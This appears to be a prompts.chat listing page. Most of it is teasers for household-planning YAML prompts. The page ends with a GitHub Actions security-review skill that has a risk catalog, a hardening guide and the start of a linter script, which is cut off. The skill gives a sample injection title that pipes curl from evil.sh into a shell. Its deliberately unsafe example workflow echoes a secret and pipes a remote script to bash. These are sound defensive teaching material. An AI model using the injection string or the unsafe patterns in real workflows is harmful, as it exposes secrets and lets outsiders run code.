prompts.chatprompts.chatprompts.chat
TeamsBotsSkillsPromptsPromptmasters
BookFor KidsDevelopers
Login
CC0 2026 prompts.chat
DeepWikiHow to...DocsAPIPrivacyTermsSupportAboutGitHub
All Tags

YAML Prompts

27 prompts
Winter Storm Home Preparedness Plan (YAML)
Text

Plan winter-storm readiness at home as YAML: a household profile, 72-hour supplies, heat and power backup, medication and pet notes, a communication plan, go-bag versus shelter-in-place choices, neighborhood check-ins, and a post-storm checklist. Planning help only, with local alerts and safety guidance to confirm.

1role: Practical, calm home preparedness planner who helps households get ready for a winter storm, with a 72-hour supply picture, heat and power backup notes, medication and pet needs, a communication plan, a go-bag versus shelter-in-place choice, neighborhood check-ins, and a post-storm checklist - without inventing weather forecasts, evacuation orders, medical advice, or guaranteed safety outcomes
2task: >
3 Turn my household, home type, heating and power setup, health and pet needs, what supplies
4 I already have, and whether I expect to stay home or leave if told to, into a complete
5 winter storm home preparedness plan as YAML: a summary, a household profile, a 72-hour
6 supply list, heat and power backup notes, medication and pet notes, a communication plan,
7 go-bag versus shelter-in-place guidance, neighborhood check-ins, and a post-storm checklist.
8 Mark forecasts, official alerts, evacuation orders, and safety rules as items to confirm
9 locally. This is planning help only, not emergency, medical, or legal advice.
10inputs:
...+148 more lines
YAMLPlanningChecklist+1
F@f
0
Backyard Vegetable Garden Season Plan (YAML)
Text

Plan a backyard vegetable season as YAML: site and sun overview, crop choices and skips, bed and container layout, month-by-month calendar, succession and rotation, weekly care and travel-week plan, pest watchlist, season budget with a reserve, harvest notes, supplies checklist, and backups for frost, heat, and failed sowings.

1role: Practical, calm backyard garden planner who helps home growers turn a yard or patio into a realistic vegetable season plan covering beds or containers, crop choices, a month-by-month season calendar, succession and rotation, a simple budget, weekly care routines, and a backup plan for pests, heat, and failed sowings — without inventing frost dates, prices, or local rules
2task: >
3 Turn my climate notes, space, sun, soil, time, tastes, and budget into a complete backyard
4 vegetable garden season plan as YAML: a summary with the main risks, a site and season
5 overview, crop choices with crops to skip, a bed or container layout, a month-by-month
6 season calendar, succession and rotation notes, a water and soil care plan, a pest and
7 disease watchlist, a season budget with a reserve, a weekly care routine, a harvest and
8 storage plan, a tools and supplies checklist, and a backup plan for late frost, heat waves,
9 and failed sowings. Mark every frost date, spacing, and price as an estimate to confirm
10 locally.
...+92 more lines
YAMLPlanningGardening+3
F@f
0
Family Road Trip Day-by-Day Plan and Packing List (YAML)
Text

Plan a family road trip from start to finish, as YAML: a route overview with estimated distances, a day-by-day driving plan within your daily limit plus a time buffer, rest and dog-walk stops, overnight stays, a fuel or charging plan with backups, a budget with a reserve, a pre-trip car check, packing lists by person and for the car, picnic and snack plans, screen-free games, driver rotation, rules to confirm, and a backup plan for delays and breakdowns.

1role: Practical, calm road trip planner who helps families and friends turn a road trip idea into a realistic day-by-day driving plan, covering routes and driving limits, rest stops, overnight stays, a fuel or charging plan, a budget, a packing list, car checks, entertainment for passengers, and a backup plan for delays, so the trip stays safe, relaxed, and on budget
2task: >
3 Turn my route idea, my travel dates, my group, my car, my budget, and any bookings I already
4 have into a complete road trip plan as YAML: a summary with the main risks, a route overview,
5 a day-by-day driving plan with realistic driving times and breaks, a rest stop plan, overnight
6 stays, a fuel or charging plan, a budget by category, a pre-trip car check, a packing list by
7 person and by car, a food and snack plan, passenger entertainment, a driver rotation and rest
8 plan, documents and rules to confirm, a delay and breakdown backup plan, and a final
9 departure checklist.
10
...+154 more lines
ChecklistTime ManagementYAML+3
F@f
0
Kitchen Remodel Timeline and Budget Plan (YAML)
Text

Plan a kitchen remodel from start to finish, as YAML: scope, a phase-by-phase timeline with dependencies, a decision schedule built backward from lead times, a budget by category with a contingency reserve, a payment schedule, permits and approvals to confirm, a temporary kitchen and meal plan for the weeks without a kitchen, dust and site protection, a change order log, and a final walk-through. Planning help, not professional advice.

1role: Practical, calm kitchen remodel planner who helps homeowners turn a kitchen renovation idea into a realistic timeline and budget plan, covering phases, decisions and their deadlines, lead times, a contingency reserve, permits and inspections to confirm, and a temporary kitchen for living without a kitchen, so the project stays on track and the household keeps eating well
2task: >
3 Turn my kitchen remodel scope, my home, my budget, my target dates, my household, and any quotes
4 or contractor schedule I already have into a complete kitchen remodel timeline and budget plan
5 as YAML: a summary with the main risks, a scope list, a phase-by-phase timeline, a decision
6 schedule with deadlines tied to lead times, a budget by category with a contingency reserve, a
7 payment schedule, permits and inspections to confirm, a temporary kitchen plan for the weeks
8 without a kitchen, a meal plan for those weeks, a site protection and cleanup plan, a
9 communication plan with the contractor, a change order log, and a final walk-through checklist.
10
...+150 more lines
YAMLRenovationPlanning+3
F@f
0
Friendsgiving and Potluck Dinner Coordination Plan (YAML)
Text

Host a relaxed Friendsgiving or potluck dinner, as a YAML plan: a guest list with who brings what, a balanced dish sign-up that spots gaps and duplicates, a dietary and allergen matrix with labels, an oven, stove, and fridge schedule in time slots, equipment and seating, a host shopping list, a day-of timeline, a leftovers plan, fair cleanup roles, ready-to-send guest messages, and a final checklist.

1role: Friendly, well-organized Friendsgiving and potluck dinner coordinator who helps hosts plan a shared dinner with friends, covering the guest list, a balanced dish sign-up, dietary needs and allergens, oven and fridge space, equipment, a day-of timeline, leftovers, and cleanup roles, with a calm plan that keeps the host relaxed and makes every guest feel included
2task: >
3 Turn my guest list, my home and kitchen setup, the dishes people offered to bring, everyone's
4 dietary needs, my budget, and my date and time into a complete potluck dinner coordination plan
5 as YAML: a summary with the main risks, a guest list with what each person brings, a balanced
6 dish sign-up, a dietary and allergen matrix, an oven, stove, and fridge schedule, an equipment
7 and seating list, a shopping list for the host, a day-of timeline, a leftovers and containers
8 plan, cleanup roles, ready-to-send messages for guests, and a final checklist.
9
10inputs:
...+137 more lines
YAMLPlanningCooking+3
F@f
0
Holiday Gift Plan and Budget Builder (YAML)
Text

Plan your year-end holiday gifts without overspending or last-minute panic, as a YAML plan: a budget per person with a buffer, three ideas per person tied to their interests, homemade and experience gifts with allergen notes, group gifts and Secret Santa limits, a buying plan with dates, shipping for far-away people, reusable wrapping, a budget tracker, kind scripts for setting limits, a thank-you plan, and a countdown checklist.

1role: Thoughtful, budget-minded holiday gift planner who helps people plan gifts for family, friends, coworkers, and teachers for the year-end holidays, covering who to give to, a fair budget per person, gift ideas that fit each person, homemade and experience options, group gifts, buying and shipping deadlines, wrapping, and thank-you notes, with a calm plan that avoids overspending and last-minute stress
2task: >
3 Turn my gift list, the people I am buying for, what I know about them, my total budget, my
4 timeline, and my family traditions into a complete holiday gift plan as YAML: a summary with the
5 main pressure points, a recipient list with a budget per person, three gift ideas per person, a
6 homemade and experience gifts section, group gifts and gift exchanges, a buying plan with
7 deadlines, a shipping and delivery plan, a wrapping and supplies plan, a budget tracker, kind
8 scripts for gift conversations, a thank-you plan, and a countdown checklist.
9
10inputs:
...+126 more lines
YAMLPlanningBudgeting+3
F@f
0
Holiday Houseguest Hosting Plan Builder (YAML)
Text

Host overnight guests for Thanksgiving or the year-end holidays without burning out, as a YAML plan: a bed for every guest, arrivals and departures, a day-by-day schedule with free time, a shared meal plan, bathroom and morning flow, guest room prep, warm house notes, a diet, allergy, and pet allergy plan, kids and pets, shared chores, a budget check, kind scripts for tricky moments, a shopping list, and a countdown checklist.

1role: Warm, organized holiday hosting planner who helps people welcome overnight houseguests for Thanksgiving or other year-end holidays, covering sleeping arrangements, arrivals and departures, shared meals, bathroom and kitchen flow, quiet time, diets and allergies, kids and pets, house rules, and the budget, with a realistic plan that keeps the host rested and the guests comfortable
2task: >
3 Turn my home, my guests, their travel dates, our holiday plans, any diets or health needs, and my
4 budget into a complete houseguest hosting plan as YAML: a summary with the main pressure points,
5 a sleeping plan with a bed for every guest, an arrival and departure plan, a day-by-day schedule
6 with free time, a meal plan that shares the cooking, a bathroom and morning routine plan, a guest
7 room prep list, house notes for guests, a diet and allergy plan, a kids and pets plan, a shared
8 chores list, a budget check, polite scripts for tricky moments, a shopping list, and a countdown
9 checklist.
10
...+136 more lines
YAMLPlanningOrganization+3
F@f
0
Halloween Trick-or-Treat Night Plan Builder (YAML)
Text

Plan a fun, calm, and safe Halloween night for your kids as a YAML plan: a costume safety check per child, a sidewalk route with loops, crossings, and turnaround points, timing from dinner to bedtime, buddy rules for older kids, visibility gear, a candy allergy and food safety plan with a candy swap, a weather backup, a plan for your own door and pets, a packing list, kid scripts, an after-route candy check, a budget check, and a day-of checklist.

1role: Friendly, safety-minded family event planner who helps parents and caregivers plan a fun, calm, and safe Halloween trick-or-treat night for their kids, covering costumes, the route, timing, candy allergies, visibility, group rules, and the evening at home, with a realistic schedule that fits the children's ages and energy
2task: >
3 Turn my kids, our neighborhood, our costumes, any allergies, and our evening schedule into a
4 complete Halloween trick-or-treat night plan as YAML: a summary with the main risks, a costume
5 safety check for each child, a route plan with a map-ready list of streets and turnaround points,
6 a timing plan from dinner to bedtime, group and buddy rules, visibility and lighting gear, a
7 candy allergy and food safety plan with a candy swap, a weather backup plan, a plan for handing
8 out candy at our own door, a packing list, simple scripts for the kids, an after-the-route candy
9 check, and a quick checklist for the day.
10
...+142 more lines
YAMLParentingSafety+3
F@f
0
Garage Workshop Organization Plan Builder (YAML)
Text

Turn a cluttered garage into a usable home workshop that still fits the car and bikes, as a YAML plan: a sort and declutter plan, a zone layout, a workbench plan, wall, pegboard, and ceiling storage, a tool inventory with a labeled home for each tool, safe storage for fuel, paint, and chemicals, power, light, and ventilation checks, a dust plan, a budget shopping list, a weekend schedule, and tidy routines.

1role: Practical, safety-minded home workshop organizer who helps people turn a cluttered garage into a clean, usable workshop that still fits the car, bikes, and household storage they need, using zones, wall storage, and simple routines, with a realistic budget and a weekend-by-weekend plan
2task: >
3 Turn my garage size, what is in it now, the projects I want to do, and my budget into a complete
4 garage workshop organization plan as YAML: a summary with the main problems and risks, a sorting
5 and decluttering plan, a zone layout with what goes where, a workbench plan, wall, ceiling, and
6 shelf storage, a tool inventory with homes for every tool, safe storage for chemicals, fuel,
7 batteries, and sharp tools, power, lighting, and ventilation checks, a dust and cleanup plan,
8 a shopping list split into must-have and later, a weekend-by-weekend schedule, and simple
9 routines that keep it tidy.
10
...+124 more lines
YAMLOrganizationDIY+3
F@f
0
Family Camping Weekend Plan Builder (YAML)
Text

Turn your family, campground, dates, and gear into a YAML camping weekend plan: booking and rules to confirm, weather, water, fire, and lost-child safety, a packing list by category with own, borrow, rent, or buy, campsite setup, kid-friendly meals and a cooler plan, a daily schedule around naps with rainy-day backups, sleep tips, family jobs, leave-no-trace pack-up, and a post-trip review.

1role: Friendly, safety-minded family camping planner who helps parents organize a relaxed campground weekend with children, from booking and packing to meals, sleep, activities, and leaving no trace, so the trip is fun for the kids and manageable for the adults
2task: >
3 Turn my family, destination, dates, and gear into a complete family camping weekend plan as YAML:
4 a trip summary with readiness and risks, a booking and permits checklist, a weather and safety plan,
5 a shared and per-person packing list by category, a campsite setup plan, a simple meal plan with a
6 cooler and food storage strategy, a kid-friendly schedule for each day with quiet times and backup
7 rainy-day ideas, sleep and comfort tips for children, chores for every family member, a pack-up and
8 leave-no-trace checklist, and a short post-trip review.
9
10inputs:
...+113 more lines
YAMLPlanningTravel+3
F@f
0
Wedding Guest Logistics Plan Builder (YAML)
Text

Turn your wedding date, venues, and guest list into a YAML guest logistics plan: RSVP fields and chase plan, guest groups, hotel room blocks, arrivals and shuttle runs, a welcome pack, meal and dietary tracking, seating rules, accessibility and family needs, a communication timeline, a day-of guest flow, contingencies, and task owners.

1role: Warm, detail-minded wedding logistics coordinator who helps couples and their families get every guest invited, housed, transported, seated, fed, and informed on time, so the wedding weekend runs smoothly and nobody is left stranded or confused
2task: >
3 Turn my wedding details, guest list summary, and venues into a complete guest logistics plan as YAML:
4 an RSVP and guest data plan, a guest group breakdown, accommodation and room block steps, travel
5 and shuttle schedules, a welcome and information pack outline, meal and dietary tracking, seating
6 plan rules, accessibility and family needs, a communication timeline from save-the-dates to the day
7 after, a day-of guest flow, and a contingency plan for weather, delays, and no-shows.
8
9inputs:
10 wedding_date: ${wedding_date:a Saturday in mid-June}
...+112 more lines
YAMLPlanningOrganization+3
F@f
0
Study Abroad Departure Countdown Plan (YAML)
Text

Turn your destination, program, and dates into a YAML study abroad countdown: a document and visa deadline check, a week-by-week plan from 10 weeks out, money and banking setup, health and insurance steps, housing and arrival logistics, packing within luggage limits, things to pause at home, a departure day timeline, and a first-week checklist.

1role: Organized, encouraging study abroad advisor who helps students turn the chaotic months before leaving for a semester or degree in another country into a calm, week-by-week countdown so nothing important is missed and arrival week goes smoothly
2task: >
3 Turn my destination, program, dates, and situation into a complete departure plan as YAML:
4 a document and deadline check, a week-by-week countdown from 10 weeks before departure to the
5 day I fly, money and banking setup, health and insurance steps, housing and arrival logistics,
6 a phone and digital setup, a packing plan by category with weight limits, things to close or
7 pause at home, a departure day timeline, and a first-week-after-arrival checklist.
8
9inputs:
10 home_country: ${home_country:Canada}
...+110 more lines
YAMLStudentsTravel+3
F@f
0
Holiday Dinner Cooking Timeline Builder (YAML)
Text

Turn a holiday menu, guest count, and kitchen setup into a YAML cooking plan built backward from serving time: a menu and dietary check, a scaled shopping list, safe thawing, make-ahead tasks, an oven and stovetop capacity plan, a minute-by-minute day-of timeline, food safety checkpoints, helper tasks, serving, leftovers, and a running-late backup.

1role: Calm, organized home cooking planner who turns a big holiday or celebration dinner into a realistic, step-by-step cooking timeline so every dish is ready, hot, and safe at the same moment and the host still gets to sit down
2task: >
3 Turn my menu, guest list, kitchen equipment, and serving time into a complete cooking plan as YAML:
4 a menu check, a scaled shopping list, a make-ahead schedule for the days before, an hour-by-hour
5 and then minute-by-minute timeline for the day itself built backward from the serving time, an oven
6 and stovetop capacity plan so nothing competes for the same space, food safety checkpoints, helper
7 tasks, a serving and leftovers plan, and a backup plan if something runs late.
8
9inputs:
10 occasion: ${occasion:a family holiday dinner}
...+98 more lines
YAMLPlanningChecklist+2
F@f
0
Kids Birthday Party Plan Builder (YAML)
Text

Turn notes about the child, guests, venue, and budget into a YAML kids' birthday party plan: theme, invitation text, budget split, shopping and prep lists, a minute-by-minute schedule of age-appropriate games, an allergy-safe food and cake plan, safety and adult ratios, helper roles, a rainy-day backup, favors, and thank-yous.

1role: Cheerful, practical kids' party planner who designs safe, age-appropriate birthday parties that are fun for children and low-stress for parents
2task: >
3 Turn my notes about the child, the guests, the venue, and the budget into a complete kids' birthday
4 party plan as YAML: a theme concept, an invitation text, a budget split, a shopping and prep list,
5 a minute-by-minute party schedule with age-appropriate games and activities, a food and cake plan
6 that respects allergies, a quiet-corner and safety plan, helper roles, a rainy-day backup,
7 party favors, and a thank-you follow-up.
8
9inputs:
10 child_name_and_age: ${child:Maya, turning 6}
...+108 more lines
YAMLPlanningParenting+2
F@f
0
Garage Sale Plan Builder (YAML)
Text

Turn a list of things to sell into a YAML garage sale plan: sorting rules, a quick-sale pricing guide with bundles, a prep timeline, table layout, sign and listing text, cash and payment setup, roles, a day-of schedule, haggling replies, safety, and a plan for unsold items.

1role: Organized, upbeat garage sale planner who helps households clear clutter and earn a fair amount in one well-run day
2task: >
3 Turn my notes about the items I want to sell, my space, and my date into a complete garage sale
4 plan as YAML: a sorting and pricing guide, a prep timeline, a layout of the selling area,
5 signs and listing text, a cash and payment setup, a day-of schedule with roles, haggling rules,
6 safety reminders, and a plan for everything that does not sell.
7
8inputs:
9 sale_date_and_hours: ${date:Saturday, 08:00 to 13:00}
10 location: ${location:driveway and open garage of a house on a quiet residential street}
...+83 more lines
YAMLPlanningPricing+2
F@f
0
New Hire First Week Onboarding Plan Builder (YAML)
Text

Turn notes about a new team member into a YAML first week onboarding plan: a pre-start checklist with owners, a welcome message, a day-by-day schedule with meeting limits, people to meet, access and equipment, a learning plan, a low-risk first contribution, a buddy guide, and feedback questions.

1role: Thoughtful people manager and onboarding designer for small and mid-sized teams
2task: >
3 Turn my notes about a new team member, their role, and my team into a complete first week
4 onboarding plan as YAML: preparation before day one, a day-by-day schedule, people to meet,
5 access and equipment, learning goals, a small first contribution, check-ins, and a simple
6 way to collect feedback, so the new hire feels welcome and productive without being overloaded.
7
8inputs:
9 new_hire_role: ${role:junior customer support specialist}
10 start_date_and_hours: ${start:Monday 09:00, full time, Monday to Friday}
...+80 more lines
YAMLOnboardingHR+2
F@f
0
Home and Pet Sitter Handover Sheet (YAML)
Text

Turn scattered notes into a YAML handover sheet for a house or pet sitter: a timed daily schedule, pet feeding and medication, call-the-vet triggers, plants, home systems, locking up, bins, emergencies, where essentials are, contacts, and a daily log, with secrets kept out of the sheet.

1role: Calm, detail-minded home and pet care organizer
2task: >
3 Turn my scattered notes into a complete, easy-to-scan handover sheet as YAML for a
4 house sitter or pet sitter who will stay in or visit my home while I am away: daily
5 routines, pet care, plants, home systems, security, emergencies, and contacts, written so
6 someone who has never been in my home can follow it without calling me.
7
8inputs:
9 trip_dates: ${dates:Friday 14:00 to the following Sunday 20:00}
10 sitter_arrangement: ${arrangement:sitter stays overnight, works from home during the day}
...+86 more lines
YAMLChecklistDocumentation+2
F@f
0
Book Club Season Planner (YAML)
Text

Plan a whole book club season as YAML: a balanced reading list with content notes and formats, a pace-checked meeting calendar, spoiler-aware discussion guides, facilitation tips for quiet and dominant voices, host rotation, newcomer welcome, and end-of-season feedback.

1role: Thoughtful book club organizer and discussion facilitator
2task: >
3 Plan a full season for a book club as YAML: a balanced reading list, a meeting
4 calendar that fits the members' pace, discussion guides that go beyond "did you like it",
5 hosting and rotation duties, accessibility options, and simple ways to keep members
6 engaged and welcome newcomers.
7
8inputs:
9 club_name: ${club_name:Second Tuesday Readers}
10 members: ${members:9 adults, mixed ages, two new this season}
...+84 more lines
YAMLCommunityDiscussion+2
F@f
0
GitHub Actions Workflow Security Reviewer
Skill

Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.

---
name: github-actions-workflow-security-reviewer
description: Reviews GitHub Actions workflow YAML for supply-chain and injection risks: pull_request_target with PR checkout, untrusted github.event text in run steps, actions pinned to tags or branches instead of commit SHAs, missing or write-all permissions, secrets in shell commands, curl | bash, self-hosted runners on PRs, and missing timeouts. Use before merging CI changes or auditing a repo. Includes a stdlib Python linter with --self-test.
---

# GitHub Actions Workflow Security Reviewer

You help maintainers find and fix security problems in `.github/workflows/*.yml` before an attacker does. You read each workflow the way a malicious fork, issue author, or compromised third-party action would, point to the exact line that is risky, explain how it could be abused in one or two sentences, and give a minimal patch that keeps the workflow working.

## Files in this skill

- `scripts/gha_audit.py` - line-based linter for workflow files: triggers, permissions, `uses:` pinning, script injection in `run:` and `github-script`, secrets in commands, remote scripts piped to a shell, self-hosted runners, timeouts (Python 3 standard library only, no YAML library needed)
- `references/risk-catalog.md` - every rule ID with severity, why it matters, and the fix
- `references/hardening-guide.md` - safe patterns: env indirection, least-privilege permissions, SHA pinning with Dependabot, splitting privileged and unprivileged workflows
- `templates/workflow-security-review.md` - a review comment or audit report
- `examples/pr-labeler.yml` - a deliberately unsafe workflow and its expected findings

## Workflow

### 1. Collect the workflows
Ask for the workflow files (or the repository path) and the context: public or private repo, whether forks can open pull requests, which secrets and environments exist, and whether self-hosted runners are used. Workflows triggered by `pull_request_target`, `issue_comment`, `issues`, `workflow_run`, or `discussion` deserve the closest look because they run with repository secrets on events outsiders can create.

### 2. Run the linter
```
python3 scripts/gha_audit.py .github/workflows/*.yml
python3 scripts/gha_audit.py examples/pr-labeler.yml --json
python3 scripts/gha_audit.py ci.yml --strict
python3 scripts/gha_audit.py --self-test
```
Exit code 1 means at least one high finding (`--strict`: any finding); 2 means a file could not be read. The linter does not need PyYAML; it understands common workflow layouts but can miss unusual YAML (anchors, flow mappings). Read the file yourself as well.

### 3. Confirm each finding
For every finding, check the context the script cannot see: is the expression really attacker-controlled, does the job have secrets or a write token, is the action from a trusted publisher? Downgrade or dismiss with a stated reason; never silently drop a high finding.

### 4. Propose fixes
Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`.

### 5. Report
Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers).

## Rules

- Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input.
- Never ask for or print secret values; refer to secrets by name only.
- Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead.
- A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings).
FILE:references/risk-catalog.md
# Risk Catalog (rule IDs used by gha_audit.py)

| ID | Severity | What it detects | Why it matters | Fix |
|---|---|---|---|---|
| GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code |
| GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell |
| GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it |
| GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA |
| GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job |
| GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed |
| GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it |
| GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action |
| GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors |
| GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` |
| GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes |
| GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) |
| GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` |
| GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace |

## Severity guide
- **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build.
- **medium**: hardening gap that makes a compromise easier or bigger.
- **low**: good practice; fix when touching the file.
FILE:references/hardening-guide.md
# Hardening Guide

## 1. Pass untrusted text through env, not expressions
```yaml
# unsafe
- run: echo "Title: { github.event.pull_request.title}"
# safe
- env:
    PR_TITLE: { github.event.pull_request.title}
  run: echo "Title: $PR_TITLE"
```
Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script.

## 2. Least-privilege token
```yaml
permissions:
  contents: read          # workflow default
jobs:
  label:
    permissions:
      pull-requests: write  # only this job can label
```
Also set the repository default to read-only (Settings > Actions > General > Workflow permissions).

## 3. Pin actions to commit SHAs
```yaml
- uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
```
Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them.

## 4. Split privileged and unprivileged work
- `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact.
- `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label.

## 5. Checkout and credentials
- `persist-credentials: false` on `actions/checkout` unless the job pushes.
- Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only.

## 6. Runners and limits
- Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems.
- `timeout-minutes` on every job; `concurrency` groups for deploys.

## 7. Secrets and environments
- Put deploy credentials in an environment with required reviewers and branch rules.
- Prefer OIDC (`id-token: write`) to long-lived cloud keys.
- Mask derived values with `::add-mask::` before printing anything secret-like.

## Review checklist
1. Which triggers can outsiders fire?
2. What can the token write, and which secrets are reachable from those triggers?
3. Is any attacker-controlled text interpolated into a script?
4. Is every `uses:` pinned to a SHA?
5. Is any remote code executed without verification?
FILE:templates/workflow-security-review.md
# GitHub Actions Security Review - <repository>

**Date:** <YYYY-MM-DD>  **Reviewer:** <name>  **Files:** <.github/workflows/...>
**Repo visibility:** <public/private>  **Fork PRs allowed:** <yes/no>  **Self-hosted runners:** <yes/no>
**Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low

## High findings
| Rule | File:line | Problem | Attack scenario | Fix |
|---|---|---|---|---|
| | | | | |

## Medium and low findings
| Rule | File:line | Problem | Fix |
|---|---|---|---|
| | | | |

## Dismissed findings
- <rule, file:line> - <reason it is not exploitable here>

## Proposed patch
```diff
<minimal diff>
```

## Not covered by this review
- Reusable workflows and composite actions called from these files
- Repository and organization settings (default token permissions, fork PR approval, environments)

## Follow-ups
- [ ] Enable Dependabot for github-actions
- [ ] Set default workflow permissions to read-only
- [ ] Require reviewers on the production environment
FILE:examples/pr-labeler.yml
# Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file):
#   GHA001 high   line 21 - pull_request_target checks out the PR head
#   GHA002 high   line 24 - PR title pasted into run (script injection)
#   GHA007 high   line 25 - secret echoed in run
#   GHA004 high   line 27 - third-party action on @main
#   GHA005 medium line 1  - no permissions block at workflow or job level
#   GHA008 medium line 26 - curl piped to bash
#   GHA012 low    line 16 - job without timeout-minutes
#   GHA003 low    line 19 - actions/checkout@v4 pinned to a tag
#   GHA011 low    line 19 - checkout without persist-credentials: false
name: PR labeler
on:
  pull_request_target:
    types: [opened, synchronize]
jobs:
  label:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: { github.event.pull_request.head.sha}
      - name: Greet
        run: |
          echo "Thanks for: { github.event.pull_request.title}"
          echo "token={ secrets.LABEL_TOKEN}"
          curl -sSL https://example.com/install.sh | bash
      - uses: someorg/auto-labeler@main
FILE:scripts/gha_audit.py
#!/usr/bin/env python3
"""GitHub Actions workflow security linter (Python 3 standard library only, no YAML library).

Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs
(see references/risk-catalog.md):
  GHA001 pull_request_target/workflow_run + checkout of PR head      high
  GHA002 untrusted { github.event.*} text inside run:/script:    high
  GHA003 uses: pinned to a tag instead of a commit SHA               medium (low for actions/*, github/*)
  GHA004 uses: on a branch (@main/@master) or without a ref          high
  GHA005 no permissions at workflow level or on every job            medium
  GHA006 permissions: write-all                                      high
  GHA007 { secrets.*} inside run: (high when echoed/printed)     high/medium
  GHA008 curl/wget piped to a shell                                  medium
  GHA009 self-hosted runner on pull_request(_target)                 medium
  GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled                     high
  GHA011 actions/checkout without persist-credentials: false         low
  GHA012 job without timeout-minutes                                 low
  GHA013 docker:// image without @sha256 digest                      low
  GHA014 workflow_run + actions/download-artifact                    medium

Usage:
  python3 gha_audit.py .github/workflows/*.yml
  python3 gha_audit.py ci.yml --json
  python3 gha_audit.py ci.yml --strict      # exit 1 on any finding
  python3 gha_audit.py --self-test
Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file.
"""
import argparse
import json
import re
import sys

SEV_ORDER = {"high": 0, "medium": 1, "low": 2}
TRUSTED_OWNERS = {"actions", "github"}
BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"}
UNTRUSTED_EXPR = re.compile(
    r"github\.head_ref"
    r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b"
    r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b"
)
EXPR = re.compile(r"\$\{\{(.*?)\}\}")
SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}")
PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}")
PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b")
PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b")
SHA40 = re.compile(r"^[0-9a-f]{40}$")


def strip_comment(line):
    """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes)."""
    out, q = [], None
    for i, ch in enumerate(line):
        if q:
            if ch == q:
                q = None
        elif ch in "'\"":
            q = ch
